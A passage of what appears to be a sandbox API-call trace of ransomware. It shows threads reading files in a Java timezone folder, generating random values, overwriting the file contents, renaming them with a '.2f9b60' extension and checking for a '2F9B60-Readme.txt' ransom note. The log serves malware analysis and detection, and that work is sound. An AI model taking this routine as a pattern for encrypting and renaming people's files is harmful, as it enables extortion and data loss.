sprintf (in: _Dest=0x1cd9f680, _Format="%c%c" | out: _Dest="d2") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f682, _Format="%c%c" | out: _Dest="21") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f684, _Format="%c%c" | out: _Dest="52") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f686, _Format="%c%c" | out: _Dest="fe") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f688, _Format="%c%c" | out: _Dest="32") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f68a, _Format="%c%c" | out: _Dest="2a") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f68c, _Format="%c%c" | out: _Dest="5d") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f68e, _Format="%c%c" | out: _Dest="d4") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f690, _Format="%c%c" | out: _Dest="d0") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f692, _Format="%c%c" | out: _Dest="44") returned 2 [0202.862] sprintf (in: _Dest=0x1cd9f694, _Format="%c%c" | out: _Dest="03") returned 2 [0202.862] sprintf (in: _Dest=0x1cd9f696, _Format="%c%c" | out: _Dest="fb") returned 2 [0202.862] RtlInitAnsiString (in: DestinationString=0x2aa2f9e8, SourceString="18d58cb1094760e1d22152fe322a5dd4d04403fb" | out: DestinationString="18d58cb1094760e1d22152fe322a5dd4d04403fb") [0202.862] RtlAnsiStringToUnicodeString (in: DestinationString=0x2aa2f9b8, SourceString="18d58cb1094760e1d22152fe322a5dd4d04403fb", AllocateDestinationString=1 | out: DestinationString="18d58cb1094760e1d22152fe322a5dd4d04403fb") returned 0x0 [0202.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9cf70 [0202.862] wcscat (in: _Dest=0x431a3b60, _Source="18d58cb109" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\18d58cb109") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\18d58cb109" [0202.863] wcscat (in: _Dest=0x431a3b60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\18d58cb109.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\18d58cb109.2f9b60" [0202.863] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\18d58cb109.2f9b60", NtPathName=0x2aa2f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\18d58cb109.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cec1100 [0237.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec1100) returned 1 [0237.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4321e8c0) returned 1 [0237.696] NtQueryInformationFile (in: FileHandle=0x2960, IoStatusBlock=0x2aa2f9f8, FileInformation=0x2aa2fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2aa2f9f8, FileInformation=0x2aa2fa08) returned 0x0 [0237.696] NtSetInformationFile (FileHandle=0x2960, IoStatusBlock=0x2aa2f9f8, FileInformation=0x2aa2fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3b60) returned 1 [0237.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cf70) returned 1 [0237.958] FlushFileBuffers (hFile=0x2960) returned 1 [0238.246] CloseHandle (hObject=0x2960) returned 1 [0241.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a2960 [0241.693] wcscpy (in: _Dest=0x431a2960, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.693] wcscat (in: _Dest=0x431a2960, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.693] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a2960) returned 1 [0243.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebf000) returned 1 Thread: id = 2813 os_tid = 0x19d4 [0159.895] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ceuta" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\ceuta")) returned 0x20 [0165.803] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ceuta", dwFileAttributes=0x20) returned 1 [0166.535] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ceuta" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\ceuta"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bc0 [0167.631] GetFileSizeEx (in: hFile=0x2bc0, lpFileSize=0x3066fd60 | out: lpFileSize=0x3066fd60*=1112) returned 1 [0167.631] SetFilePointerEx (in: hFile=0x2bc0, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.631] ReadFile (in: hFile=0x2bc0, lpBuffer=0x3066fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3066fd28, lpOverlapped=0x0 | out: lpBuffer=0x3066fce0*, lpNumberOfBytesRead=0x3066fd28*=0x4, lpOverlapped=0x0) returned 1 [0167.646] SetFilePointerEx (in: hFile=0x2bc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ce0 [0167.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b30 [0167.646] NtQuerySystemTime (in: CurrentTime=0x3066fc20 | out: CurrentTime=0x3066fc20*=132462177727618000) returned 0x0 [0167.646] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x54ba158b [0167.646] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x649e46b2 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0xecdf765 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x5b41bf2 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x5f059f71 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x574290c7 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x38f8172d [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x46cb53c4 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x21be18fc [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x4837597 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x5b6980b6 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x2cee1463 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x5e207125 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x6c3ee97 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x131f039b [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x3861e408 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x29125e38 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x32ac0b20 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x2c3ff757 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x4b1c76a9 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x73580398 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x7f1af6da [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x232e00f4 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x7b531bb7 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x24f60578 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x60d703fc [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x1a7d71b6 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x21a3e89d [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x3ce0fcf0 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x519ac9c4 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0x52edc4c4 [0167.647] RtlRandomEx (in: Seed=0x3066fc10 | out: Seed=0x3066fc10) returned 0xb874a3c [0167.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b00 [0167.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed90 [0167.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a40 [0167.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0167.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0b30) returned 1 [0167.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c0b0 [0167.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed90 [0167.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a5ea60 [0167.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42040d80 [0167.657] ReadFile (in: hFile=0x2bc0, lpBuffer=0x42a5ea60, nNumberOfBytesToRead=0x458, lpNumberOfBytesRead=0x3066fc10, lpOverlapped=0x0 | out: lpBuffer=0x42a5ea60*, lpNumberOfBytesRead=0x3066fc10*=0x458, lpOverlapped=0x0) returned 1 [0167.657] SetFilePointerEx (in: hFile=0x2bc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.657] WriteFile (in: hFile=0x2bc0, lpBuffer=0x42040d80*, nNumberOfBytesToWrite=0x458, lpNumberOfBytesWritten=0x3066fc14, lpOverlapped=0x0 | out: lpBuffer=0x42040d80*, lpNumberOfBytesWritten=0x3066fc14*=0x458, lpOverlapped=0x0) returned 1 [0184.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced73e0 [0184.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced73b0 [0184.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced73b0) returned 1 [0184.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42040d80) returned 1 [0184.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a5ea60) returned 1 [0184.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0184.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c0b0) returned 1 [0184.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d6c0 [0184.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c0b0 [0184.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed90 [0184.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced73b0 [0184.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced73b0) returned 1 [0184.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d6e0 [0184.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced73b0 [0184.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced72f0 [0184.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced72f0) returned 1 [0184.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0184.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c0b0) returned 1 [0184.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x431b0720 [0191.909] SetFilePointerEx (in: hFile=0x2bc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0191.909] WriteFile (in: hFile=0x2bc0, lpBuffer=0x431b0720*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3066fd30, lpOverlapped=0x0 | out: lpBuffer=0x431b0720*, lpNumberOfBytesWritten=0x3066fd30*=0xfc, lpOverlapped=0x0) returned 1 [0207.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e210 [0207.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1220 [0207.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1220) returned 1 [0207.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b82d640 [0207.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1220 [0207.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac12e0 [0207.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac12e0) returned 1 [0207.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e210) returned 1 [0207.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x15) returned 0x1b82d660 [0207.443] sprintf (in: _Dest=0x1b82d660, _Format="%c%c" | out: _Dest="5e") returned 2 [0207.443] sprintf (in: _Dest=0x1b82d662, _Format="%c%c" | out: _Dest="a8") returned 2 [0207.443] sprintf (in: _Dest=0x1b82d664, _Format="%c%c" | out: _Dest="7f") returned 2 [0207.443] sprintf (in: _Dest=0x1b82d666, _Format="%c%c" | out: _Dest="49") returned 2 [0207.443] sprintf (in: _Dest=0x1b82d668, _Format="%c%c" | out: _Dest="d1") returned 2 [0207.443] sprintf (in: _Dest=0x1b82d66a, _Format="%c%c" | out: _Dest="f4") returned 2 [0207.443] sprintf (in: _Dest=0x1b82d66c, _Format="%c%c" | out: _Dest="74") returned 2 [0207.443] sprintf (in: _Dest=0x1b82d66e, _Format="%c%c" | out: _Dest="65") returned 2 [0207.443] sprintf (in: _Dest=0x1b82d670, _Format="%c%c" | out: _Dest="63") returned 2 [0207.443] sprintf (in: _Dest=0x1b82d672, _Format="%c%c" | out: _Dest="1d") returned 2 [0207.443] RtlInitAnsiString (in: DestinationString=0x3066fda8, SourceString="5ea87f49d1f47465631d" | out: DestinationString="5ea87f49d1f47465631d") [0207.443] RtlAnsiStringToUnicodeString (in: DestinationString=0x3066fd78, SourceString="5ea87f49d1f47465631d", AllocateDestinationString=1 | out: DestinationString="5ea87f49d1f47465631d") returned 0x0 [0207.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431aca60 [0207.444] wcscat (in: _Dest=0x1b85e210, _Source="5ea87" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\5ea87") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\5ea87" [0207.444] wcscat (in: _Dest=0x1b85e210, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\5ea87.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\5ea87.2f9b60" [0207.444] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\5ea87.2f9b60", NtPathName=0x3066fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\5ea87.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c8200 [0237.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c8200) returned 1 [0237.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4316e760) returned 1 [0237.690] NtQueryInformationFile (in: FileHandle=0x2bc0, IoStatusBlock=0x3066fdb8, FileInformation=0x3066fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3066fdb8, FileInformation=0x3066fdc8) returned 0x0 [0237.690] NtSetInformationFile (FileHandle=0x2bc0, IoStatusBlock=0x3066fdb8, FileInformation=0x3066fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e210) returned 1 [0237.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431aca60) returned 1 [0237.964] FlushFileBuffers (hFile=0x2bc0) returned 1 [0238.238] CloseHandle (hObject=0x2bc0) returned 1 [0241.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202ae6e0 [0241.645] wcscpy (in: _Dest=0x202ae6e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.645] wcscat (in: _Dest=0x202ae6e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.645] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae6e0) returned 1 [0243.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebf080) returned 1 Thread: id = 2814 os_tid = 0x19d8 [0159.897] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Conakry" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\conakry")) returned 0x20 [0165.808] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Conakry", dwFileAttributes=0x20) returned 1 [0166.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Conakry" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\conakry"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c14 [0167.838] GetFileSizeEx (in: hFile=0x2c14, lpFileSize=0x30c6fb60 | out: lpFileSize=0x30c6fb60*=85) returned 1 [0167.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19050 [0167.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19020 [0167.838] NtQuerySystemTime (in: CurrentTime=0x30c6fa20 | out: CurrentTime=0x30c6fa20*=132462177729490000) returned 0x0 [0167.838] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x2be49589 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x7b61af03 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x3e8fed20 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x20f6ffee [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x5321b17c [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x32517605 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x312a6c60 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x7dcd9784 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x7b61af03 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x3a5b9b3 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x638828c6 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x7e43a280 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x3681cb6c [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x7ac5e3c [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x4935914 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x2e28211a [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x41a49a53 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x2c1648ba [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x3b5c6aa7 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x3531c8d0 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x30370d2f [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x703f40b4 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x2170ee44 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x25c963cb [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x18ea7392 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x2db0e49f [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x626d25e4 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x7dcd9784 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x78609b29 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x140e197d [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x3fe3e359 [0167.839] RtlRandomEx (in: Seed=0x30c6fa10 | out: Seed=0x30c6fa10) returned 0x2ca39400 [0167.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ff0 [0167.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e710 [0167.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f30 [0167.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0167.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19020) returned 1 [0167.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c240 [0167.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e710 [0167.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424cc580 [0167.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424d0190 [0167.850] ReadFile (in: hFile=0x2c14, lpBuffer=0x424cc580, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x30c6fa10, lpOverlapped=0x0 | out: lpBuffer=0x424cc580*, lpNumberOfBytesRead=0x30c6fa10*=0x55, lpOverlapped=0x0) returned 1 [0167.851] SetFilePointerEx (in: hFile=0x2c14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.851] WriteFile (in: hFile=0x2c14, lpBuffer=0x424d0190*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x30c6fa14, lpOverlapped=0x0 | out: lpBuffer=0x424d0190*, lpNumberOfBytesWritten=0x30c6fa14*=0x55, lpOverlapped=0x0) returned 1 [0180.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbb40 [0180.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbb70 [0180.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbb70) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424d0190) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424cc580) returned 1 [0180.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0180.434] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c240) returned 1 [0180.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1cddbb70 [0180.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c240 [0180.435] RtlAllocateHeap (HeapHandle=0xa0000, 